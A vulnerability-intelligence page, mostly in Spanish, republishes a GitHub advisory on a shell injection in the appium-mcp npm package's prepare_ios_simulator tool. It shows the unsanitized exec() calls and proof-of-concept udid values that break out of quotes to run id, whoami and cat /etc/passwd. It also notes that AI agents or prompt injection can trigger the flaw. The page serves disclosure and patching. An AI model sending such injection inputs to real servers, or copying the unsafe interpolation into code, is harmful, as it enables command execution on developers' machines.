llamaCVEVulnerability Intelligence
/
Advisory · GitHub · npm · appium-mcp

GHSA-PCHR-RP2X-W3VW

Shell Injection via unsanitized `udid` parameter in `prepare_ios_simulator` MCP tool

Parche disponible
Descargar PNG JSON
CVSS 3.1
7.5
Alta
CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:H Fuente: GitHub
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
Parche1 versiónPrimer parche a -1 d de la divulgación
Exposición146 dDesde la divulgación, 27 jun 2026, 11:11 p. m.
Detección143 dDesde la divulgación hasta su ingreso al índice
Decisión estimadaSeguir de cerca
Monitorear y programar la remediación
Estimación de Llama con el árbol SSVC de CISA a partir de vector CVSS 3.1 y la evidencia de explotación (sin evaluación oficial): sin explotación conocida, no automatizable e impacto técnico total. Hay versiones corregidas disponibles.
Échale un ojo a tu inventario, ¿dale?Esto amerita una regla de detección, por si acaso.
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada +1
Explotación
Remediación
Parche 1.86.5
Monitoreo
Detectada +1
27 jun 26
28 jun 26
18 nov 26
21 nov 26
27 jun 26
3 ago 26
8 sept 26
15 oct 26
21 nov 26
FechaFaseEventoDetalle
Remediación Parche 1.86.5 appium-mcp · -1 d desde divulgación
Divulgación Publicada GHSA-PCHR-RP2X-W3VW divulgada · CVSS 7.5 (GitHub)
Divulgación Modificada Última actualización del registro
Monitoreo Detectada Ingresó al índice
Monitoreo Verificada Última verificación contra las fuentes
Resumen
Descripción del advisory
Texto original · GitHub · en inglés

## Summary
The `prepare_ios_simulator` tool in `appium-mcp` passes the user-supplied udid parameter directly into shell commands via Node.js `exec()` without any sanitization. An attacker with access to the MCP server can inject arbitrary shell commands and achieve RCE on the host machine.

## Details
File: `src/tools/ios/prepare-ios-simulator.ts`

The udid field is declared as `z.string()` with no format constraint, and is interpolated raw into four separate `exec()` calls via template literals:

// Line 121
await execAsync(`xcrun simctl install "${simulatorUdid}" "${appPath}"`);

// Line 128
await execAsync(`xcrun simctl launch "${simulatorUdid}" "${bundleId}"`);

// Line 146
await execAsync(`xcrun simctl listapps "${simulatorUdid}" --json`);

// Line 170
await execAsync(`xcrun simctl spawn "${simulatorUdid}" launchctl list`);

Node.js `exec()` spawns `/bin/sh -c <string>`. The double-quote wrapping is trivially bypassed by closing the quote within the input. All four call sites are vulnerable.

The tool is registered unconditionally in `src/tools/index.ts` ( line 137 ) and exposed to any connected MCP client.

## PoC
Malicious MCP tool call:

{
  "tool": "prepare_ios_simulator",
  "arguments": {
    "udid": "x\" && <arbitrary command> && echo \"x",
    "skipWda": true
  }
}

Test results on isolated server ( all 4 injection paths confirmed ):

Test 1 - `listapps` path ( `getWDAState` ):

Input : x" && id > /tmp/poc_test1.txt && echo "x
Result: uid=1000(user) gid=1000(user) groups=1000(user)

Test 2 - `install` path ( `installAppOnSimulator` ):

Input : x" && whoami >> /tmp/poc_test2.txt && hostname >> /tmp/poc_test2.txt && echo "x
Result: user / ..

Test 3 - `spawn` path ( `getWDAState` running check ) - arbitrary file read:

Input : x" && cat /etc/passwd > /tmp/poc_test3.txt && echo "x
Result: root:x:0:0:root:/root:/usr/bin/zsh

Test 4 - End-to-end simulation ( exact code flow from `prepare_ios_simulator` ):

Input : FAKE-UDID" && printf "[RCE PROOF]\nUID=%s\nPWD=%s\n" "$(id)" "$(pwd)" > /tmp/poc_final.txt && echo "DONE

Output written to /tmp/poc_final.txt:
  [RCE PROOF]
  UID=uid=1000(user) gid=1000(user) groups=1000(user)
  PWD=.../appium-mcp

All commands executed successfully. No authentication, no privilege escalation needed - the process runs as whatever user launched the MCP server.

## Impact
Any MCP client connected to an appium-mcp server can execute arbitrary OS commands on the host machine with the privileges of the MCP server process. On a developer machine, this typically means full user-level access to the filesystem, SSH keys, credentials, and browser sessions.

Attack surface: MCP is designed to be called by AI agents. A malicious or compromised agent, or a prompt injection attack via the tested app's UI, can trigger this tool with a crafted udid.

## Fix:
### The patch was released in v1.86.5

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Vector CVSS 3.1

Desglose de métricas

Opción resaltada = valor del vector · izquierda = peor caso · GitHub
Vector de ataqueAV:L
RedAdyacenteLocalFísica
ComplejidadAC:H
BajaAlta
PrivilegiosPR:L
NingunoBajosAltos
InteracciónUI:R
NingunaRequerida
AlcanceS:C
CambiadoSin cambio
ConfidencialidadC:H
AltoBajoNinguno
IntegridadI:H
AltoBajoNinguno
DisponibilidadA:H
AltoBajoNinguno
Score de explotaciónQué tan fácil y probable es que la exploten
4.0/ 10Medio
Vector 4.0 (moderada) · sin evidencia de explotación.
Versiones

Rangos afectados

Afectada Corregida Última
appium-mcp≥ 1.49.0 ≤ 1.86.4
1.49.0
1.86.4
1.99.3
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
npmappium-mcp
Corregida 1.86.5 -1 d 1.99.3 no afectada
Versiones corregidas1.86.5
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://github.com/appium/appium-mcp/security/advisories/GHSA-pchr-rp2x-w3vw

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.